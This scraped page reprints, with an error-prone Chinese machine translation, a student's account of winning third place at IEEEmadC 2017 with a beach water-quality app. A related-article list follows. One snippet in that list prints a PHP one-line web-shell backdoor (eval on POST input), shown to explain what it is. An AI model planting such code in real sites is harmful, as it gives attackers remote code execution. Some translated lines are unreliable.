快应用比赛_我的应用如何在国际学生比赛中获得第三名

快应用比赛

by Rafael Melo

通过拉斐尔·梅洛

我的应用如何在国际学生比赛中获得第三名 (How my App won third place in an International Student Competition)

I developed an App that won third place at the IEEE Mobile Applications Development Contest 2017 (IEEEmadC 2017) among 40+ equally great Apps developed by students all around the world. It was an amazing experience that made me open my mind to new ways of seeing things and to my skills as a developer.

我开发了一款应用程序,该应用程序在2017年IEEE移动应用程序开发竞赛( IEEEmadC 2017 )中获得了第三名,该应用程序是由世界各地的学生开发的40多个同样出色的应用程序。 这是一次了不起的经历,使我对事物的新见解以及开发人员的技能敞开心mind。

Here are three things that I believe made my App be chosen among so many interesting and really good applications from students all over the globe and that I’m sure can make your App do it too.

我相信以下三件事使我的应用程序从众多来自世界各地的学生中被选中,这些应用程序非常有趣并且非常好,而且我敢肯定,您的应用程序也可以做到这一点。

1.选择一个对您自己和您周围的人有用的想法。 (1. Choose an idea that is useful for your own life and for others around you.)

The first phase of the contest was the idea phase. More than 200 groups submitted amazing ideas and I was one of them. But just like most people, I had many ideas that I thought were great. How could I choose one and focus on that?

比赛的第一阶段是构思阶段。 200多个小组提出了令人惊讶的想法,而我就是其中之一。 但是,就像大多数人一样,我有很多我认为很棒的想法。 我该如何选择一个并专注于此?

In my city Salvador Bahia, we have many beautiful beaches and are mainly known as a touristic city of Brazil. But most of the year our beaches are polluted because a majority of our rivers receive sewage waters resulting in the beaches becoming dirty. The bright side is that the beaches are perfectly suitable in summer. But when it rains and mostly during other seasons, they become unsuitable with sewage water.

在我的城市萨尔瓦多·巴伊亚(Salvador Bahia),我们有许多美丽的海滩,主要被称为巴西的旅游城市。 但是一年中大部分时间我们的海滩都被污染了,因为我们的大部分河流都接收到污水,导致海滩变脏了。 好的一面是海滩非常适合夏天。 但是当下雨时(主要是在其他季节),它们变得不适合污水处理。

Some people just ignore this fact and keep going to the beach risking getting many diseases from the high level of E.coli bacteria in the water. Others just avoid the beach and lose out on one of the most amazing things our city provides. We have really beautiful warm beaches, and some people including many foreign tourists just don’t know about it.

有些人只是忽略了这一事实,而继续去海滩冒险,因为水中的高水平大肠杆菌会感染许多疾病。 其他人则只是避开海滩,而错过了这座城市提供的最令人惊奇的事物之一。 我们有真正美丽的温暖海滩,有些人,包括许多外国游客,根本不知道。

Most people don’t know that the government measures the level of E.coli bacteria in the beaches and posts it on the internet weekly.

大多数人不知道政府会测量海滩上的大肠杆菌水平,并将其每周发布到互联网上。

When I discovered that, the idea just popped up - an App that returned information on the level of E.coli bacteria on each beach to the public. This would provide tourists and general public a way to know of which beaches to visit. I knew that this idea would not only help me but others as well.

当我发现这一点时,这个想法就突然出现了-一个向公众返回每个海滩上大肠杆菌水平信息的应用程序。 这将为游客和公众提供一种了解要参观哪些海滩的方式。 我知道这个想法不仅会帮助我,还会帮助其他人。

When the first phase ended I received an email telling me that my idea was one among the 40+ selected. It was an exciting feeling. But I knew that I was about to compete with more than 40 groups of people from around the world and all I had was an idea.

第一阶段结束时,我收到一封电子邮件,告诉我,我的想法是所选40多个想法中的一个。 这是一种令人兴奋的感觉。 但是我知道我将要与来自世界各地的40多人竞争,而我所拥有的只是一个主意。

2.明智地选择工具,然后使用您已经知道的工具。 (2. Choose your tools wisely and go with what you already know.)

The second phase was development and my idea had to become an App in three months, I didn’t have a group and I had to choose how I would build it.

第二阶段是开发,我的想法必须在三个月内成为一个应用程序,我没有团队,我必须选择构建方式。

The first thing I thought was that since it’s a mobile App competition I should maybe build an Android App with Java or an iOS App with Swift. But the problem was, I didn’t know Java or Swift. I only had sparse knowledge from what I studied in some classes of Java and I’ve never really done anything with Swift. I was tempted to learn one of them for the competition but I had a really short time.

我首先想到的是,因为这是一场移动应用程序竞赛,所以我应该使用Java构建一个Android应用程序或使用Swift构建一个iOS应用程序。 但是问题是,我不了解Java或Swift。 我只是在某些Java类中学习过的知识很少,而我从未真正使用Swift做任何事情。 我很想在比赛中学习其中之一,但是时间很短。

So I took the smart decision to use what I already know. I’m a web developer intern and the main language I’ve worked with is JavaScript. So I decided to use a hybrid platform built on Apache Cordova and it worked. In the first two months I had built almost everything from the front-end and some of the back-end just using JavaScript. The fact that I was comfortable with the language helped me in every aspect.

因此,我明智地决定使用我已经知道的内容。 我是一名Web开发人员实习生,并且使用的主要语言是JavaScript。 因此,我决定使用基于Apache Cordova构建的混合平台,它可以正常工作。 在头两个月中,我几乎只使用JavaScript构建了从前端到后端的几乎所有内容。 我对语言感到满意的事实在各个方面都对我有所帮助。

I know that running from something new sounds awful for developers like us. But I believe it’s about knowing the right time to discover something new and the right time to use what you are comfortable with.

我知道,像我们这样的开发人员,从新事物开始听起来很糟糕。 但我相信,这是要知道正确的时间来发现新事物,以及正确的时间来使用自己喜欢的东西。

A teacher once told me that,

一位老师告诉我,

Most people fail at some objective because at the most crutial time they decide to try something new instead of what they already know.
大多数人出于某种目标而失败,因为在最关键的时刻,他们决定尝试新事物,而不是已经知道的事物。

In the end of the competition I was glad that I listened to those words.

在比赛结束时,我很高兴听到这些话。

3.您的应用程序适用于人类而非机器-请不要小看设计。 (3. Your App is for humans not machines - Don’t underestimate design.)

My App was almost complete, and I decided to ask my friends what they thought about it. Most of them didn’t like it, and I was less than one month from the competition deadline.

我的应用程序即将完成,我决定问朋友们对此有何想法。 他们中的大多数人都不喜欢它,距比赛截止日期还不到一个月。

It was, in their words, ‘ugly’ and they couldn’t understand how to use it.

用他们的话说,这是“丑陋的”,他们无法理解如何使用它。

I was frustrated: I built an app that I thought was good, but if people couldn’t understand how to use it and they didn’t like it, it was worth almost nothing…

我很沮丧:我开发了一个我认为不错的应用程序,但是如果人们不懂如何使用它,而他们又不喜欢它,那么它几乎一文不值……

So I made the decision to study a little about design, something I thought my entire life that was unnecessary and superfluous. I used what I learned to improve my App so people would be interested in using it. Since I’ve never had classes in my university about design, the Internet was my best friend and I started my journey on something I had never studied before.

因此,我决定研究一些有关设计的知识,我认为这是我一生中不必要且多余的东西。 我使用所学的知识来改进我的应用程序,因此人们会对使用它感兴趣。 由于我从未在大学里上过与设计有关的课程,因此互联网是我最好的朋友,因此我开始了从未有过的研究。

Design is a universe of it’s own. There are so many fields and theories that you can’t possible learn everything in such a short amount of time. So I decided to focus on two things, user experience and color theory. After some study and a lot of trial and error, I’ve finally reached something that people started to compliment.

设计本身就是一个宇宙。 有太多的领域和理论,您不可能在这么短的时间内学到所有东西。 因此,我决定专注于两件事, 用户体验色彩理论 。 经过研究和大量的反复试验,我终于得到了人们开始称赞的东西。

It wasn’t ugly anymore and everyone could understand how to use it.

它不再丑陋,每个人都可以理解如何使用它。

It blew my mind.

这让我震惊。

To me that was the part that changed my way of seeing things. Design is something really important and it should be taken seriously. After all, it’s about how users interact with what we create, and users are the most important piece of every system. Without users there is no application. This competition changed forever my idea about design, and it’s something I will carry with me on every project I’m a part of.

对我来说,那是改变我看待事物的方式的一部分。 设计真的很重要,应该认真对待。 毕竟,这是关于用户如何与我们创建的内容进行交互的,而用户是每个系统中最重要的部分。 没有用户,就没有应用程序。 这场比赛永远改变了我对设计的想法,在我参与的每个项目中,我都会带着这一点。

At the end of the judging phase I received another email, this time telling me that my App had won the third place, the Computer Society Special Award. I was really happy, not only because I felt like my efforts led me to something great, but because I was one person when I entered the competition and a completely different person when it ended.

在评审阶段的最后,我收到了另一封电子邮件,告诉我我的应用程序已获得第三名,即计算机学会特别奖。 我真的很高兴,这不仅是因为我觉得自己的努力使我取得了巨大成就,还因为参加比赛时我是一个人,比赛结束时我是一个完全不同的人。

These are the three things that I think made my App win third place at the IEEEmadC 2017 competition. What really made the judges like my App only they will know, but I do believe that these three things — choosing the right idea, right tools and App design made a difference — and I wanted to share that with people. This experience changed a lot of things for me, and I hope I was able to share this feeling.

这是我认为自己的应用在IEEEmadC 2017竞赛中获得第三名的三件事。 只有让他们真正知道让评委喜欢我的App的真正原因,但是我确实相信这件事-选择正确的想法,正确的工具和App设计会有所作为-我想与人们分享。 这次经历对我来说改变了很多事情,希望我能够分享这种感觉。

I would like to thank IEEE for the opportunity and for making so many students come together to build great things, to all the judges for the hard part in choosing only three among so many good Apps and to my girlfriend and friends that helped me so much with the design part.

我要感谢IEEE的机会,并感谢如此多的学生聚集在一起,共同开发出很棒的东西,感谢所有的评委,让他们在如此众多的好应用程序中仅选择三个,并感谢我的女友和朋友们给我提供了很多帮助与设计部分。

Here is a look at all the winners.

看一下所有获奖者 。

翻译自: https://www.freecodecamp.org/news/how-my-app-won-third-place-in-an-international-student-competition-ed14113881f6/

快应用比赛

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/395049.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JAVA中String类的intern()方法的作用

一般我们变成很少使用到 intern这个方法,今天我就来解释一下这个方法是干什么的,做什么用的 首先请大家看一个例子: public static void main(String[] args) throws Exception { String a "b" ; String b "b" ; …

java 如何排查内存溢出_java 内存溢出排查

测试代码,如下示例:import java.util.ArrayList;import java.util.List;/*** Description 测试内存溢出, 启动时设置参数,最大堆内存为1m, 内存溢出时dump出内存文件 -Xmx1m -XX:HeapDumpOutOfMemoryError* Author luzy* Date 2018/10/5 11:0…

《企业级ios应用开发实战》一2.2 iOS框架介绍

2.2 iOS框架介绍 iOS衍生自Mac OS X的成熟内核,但iOS操作系统更紧凑和高效,支持iPhone和iPod Touch的硬件。iOS继承了Mac OS X的风格,包括:统一的OS X 内核,针对网络的BSD套接字,以及Objective-C和C/C编译器…

python的opencv 车牌识别 开源_毕节进出口车牌识别系统怎么样

毕节进出口车牌识别系统怎么样 gzheu8il毕节进出口车牌识别系统怎么样 系统拓扑图如下:该系统以社区中心机房为枢纽,有机的将智慧家居住户、社区数字化服务、物业数字化管理、社区智能化管理结合起来,真正的实现:住户与住户之间的…

了解使用JavaScript进行面向对象编程的基础(并增强您的编码…

by Kris Baillargeon通过克里斯拜伦 学习使用JavaScript进行面向对象编程的基础知识(并增强您的编码能力!) (Learn the basics of object-oriented programming with JavaScript (and supercharge your coding abilities!)) As a moderator of the freeCodeCamp ch…

postgresql的别名要用双引号才可以

postgresql的别名要用双引号""才可以 转载于:https://www.cnblogs.com/handsome1013/p/10443001.html

imx6 mac地址设置

imx6的mac地址总是固定的值,所以需要更改,采用的方法是在uboot中设置环境变量,之后在kernel中使用uboot中设置的mac地址的值。本文记录更改的过程。 参考链接: http://www.cnblogs.com/zengjfgit/p/5711304.html uboot lib_arm/board.c …

java try catch陷阱_Java异常处理最佳实践及陷阱防范

原标题:Java异常处理最佳实践及陷阱防范出自《深夜里的程序猿》作者:wangzenghuang前言不管在我们的工作还是生活中,总会出现各种“错误”,各种突发的“异常”。无论我们做了多少准备,多少测试,这些异常总会…

vivo手机怎么投屏到电脑_投屏软件电脑加手机投屏软件投屏

优秀的资源工具可以让你事半功倍!本号文内资源已经手工转存整理,安全起见,回复 “领取资源” 按提示自助领取。今天分享的是一家公司出品的投屏神器。为避免被举报这里就不说出软件名了。它可以在局域网内把手机的屏幕投到电脑上,…

How to upload windows Sysprep Files to VMware vCenter Server Appliance 6.5(vC

vCSA5.5中可以登录到端口5480中去上传,vCSA 6.0以后就不支持了。但是可以通过Enable “Pi Shell”来做。 首先确保vCSA的ssh可用: 0. Make sure that SSH in enabled on the VCSA. Home > Administration > System configuration (under Deploymen…

开源短地址_如何在短短5分钟内完成您的第一个开源贡献

开源短地址by Roshan Jossey罗珊乔西(Roshan Jossey) 如何在短短5分钟内完成您的第一个开源贡献 (How to make your first open source contribution in just 5 minutes) The best way to level up your programming skills it to code more. The second best thing is to rea…

【Qt开发】QT对话框去掉帮助和关闭按钮 拦截QT关闭窗口的CloseEvent

建了一个对话框,我不想把边框去掉,只想去掉关闭按钮, setWindowFlags(windowFlags()&~Qt::WindowCloseButtonHint&~Qt::WindowContextHelpButtonHint); 结果那个问号的按钮去掉了,但是关闭按钮还在,求助啊 set…

Vivado Design Suite用户指南之约束的使用第二部分(约束方法论)

Constraints Methodology(约束方法论) 关于约束方法论 设计约束定义了编译流程必须满足的要求,以使设计在板上起作用。 并非所有步骤都使用所有约束在编译流程中。 例如,物理约束仅在实现步骤期间使用(即,由…

eval函数 php_PHP的一句话木马代码和函数eval的简介

大清早的刚从床上爬起来。雨落就跑来找我问我这段代码是什么意思<?php eval($_POST[pp]);?>看了一下&#xff0c;post接收pp的值&#xff0c;抑制错误输出。呵呵开个玩笑&#xff0c;其实不是这么简单&#xff0c;这是一段PHP木马代码&#xff0c;也就是我们所说的后门…

linux安装python_Python - 爱豆

Python下载Python最新源码&#xff0c;二进制文档&#xff0c;新闻资讯等可以在Python的官网查看到&#xff1a;Python官网&#xff1a;你可以在以下链接中下载 Python 的文档&#xff0c;你可以下载 HTML、PDF 和 PostScript 等格式的文档。Python文档下载地址&#xff1a;doc…

如何将您的#100DaysOfCode登录转换为视觉体验

by Joe Warren通过乔沃伦 如何将您的&#xff03;100DaysOfCode登录转换为视觉体验 (How to Transform Your #100DaysOfCode Log Into a Visual Experience) Learning how to code is an unrivaled modern experience. As an aspiring developer, no matter what level you’r…

Python中集合(set)的操作及一些比较常见的用法

Python除了List、Tuple、Dict等常用数据类型外&#xff0c;还有一种数据类型叫做集合&#xff08;set&#xff09;&#xff0c;集合的最大特点是&#xff1a;集合里边的元素是不可重复的并且集合内的元素还是无序的&#xff0c;所以一般情况下集合常用的两个场景是&#xff1a;…

php中的图像下载函数,PHP实现的下载远程图片自定义函数分享

/*** PHP下载远程图片到本地** param $url string 远程文件地址* param $filename string 保存后的文件名(为空时则为随机生成的文件名&#xff0c;否则为原文件名)* param $fileType array 允许的文件类型* param $dirName string 文件保存的路径(路径其余部分根据时间系统自动…

Linux 文件的压缩与解压

1. tar结尾压缩命令 [roottest ~]# tar -cvf grub.tar /boot/grub/ 查看压缩包文件 [roottest ~]# tar -vtf grub.tar 解压文件 #tar -xvf grub.tar # tar -xvf grub.tar -C 解压目录 2. gz结尾压缩命令 # tar -zcvf grub.tar.gz /boot/grub gz结尾解压命令 #tar -zxvf gr…

深度学习笔记-卷积神经网络CNN与循环神经网络RNN有什么区别?

转载 https://blog.csdn.net/weixin_35227692/article/details/79223536转载于:https://www.cnblogs.com/USTBlxq/p/10445268.html